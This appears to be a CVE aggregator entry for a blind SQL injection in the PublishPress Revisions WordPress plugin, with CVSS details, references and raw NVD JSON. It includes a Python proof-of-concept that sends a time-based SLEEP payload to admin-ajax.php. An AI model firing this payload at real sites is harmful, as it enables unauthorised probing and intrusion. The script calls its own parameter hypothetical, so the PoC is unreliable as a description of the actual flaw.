CVE-2026-32539

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PublishPress PublishPress Revisions revisionary allows Blind SQL Injection.This issue affects PublishPress Revisions: from n/a through <= 3.7.23.

CVSS Details

CVSS Score

9.3

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

PublishPress Revisions <= 3.7.23

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-32539 PoC Example (Time-Based Blind SQL Injection)
# Verify the vulnerability by checking response time.

target_url = "http://target-site.com/wp-admin/admin-ajax.php"

# Hypothetical vulnerable parameter
payload_data = {
    "action": "revisionary_action", 
    "post_id": "1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)"
}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}

try:
    print("[*] Sending payload...")
    response = requests.post(target_url, data=payload_data, headers=headers, timeout=10)
    
    if response.elapsed.total_seconds() >= 5:
        print("[+] Vulnerability confirmed! Response delayed by 5 seconds.")
    else:
        print("[-] Vulnerability not detected.")
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32539
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32539
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32539/
[4] VulDB https://vuldb.com/cve/CVE-2026-32539
[5] https://patchstack.com/database/Wordpress/Plugin/revisionary/vulnerability/wordpress-publishpress-revisions-plugin-3-7-23-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32539", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:17:07.703", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PublishPress PublishPress Revisions revisionary allows Blind SQL Injection.This issue affects PublishPress Revisions: from n/a through <= 3.7.23."}, {"lang": "es", "value": "Neutralización Incorrecta de Elementos Especiales utilizados en un Comando SQL ('Inyección SQL') vulnerabilidad en PublishPress PublishPress Revisions revisionary permite Inyección SQL Ciega. Este problema afecta a PublishPress Revisions: desde n/a hasta <= 3.7.23."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/revisionary/vulnerability/wordpress-publishpress-revisions-plugin-3-7-23-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}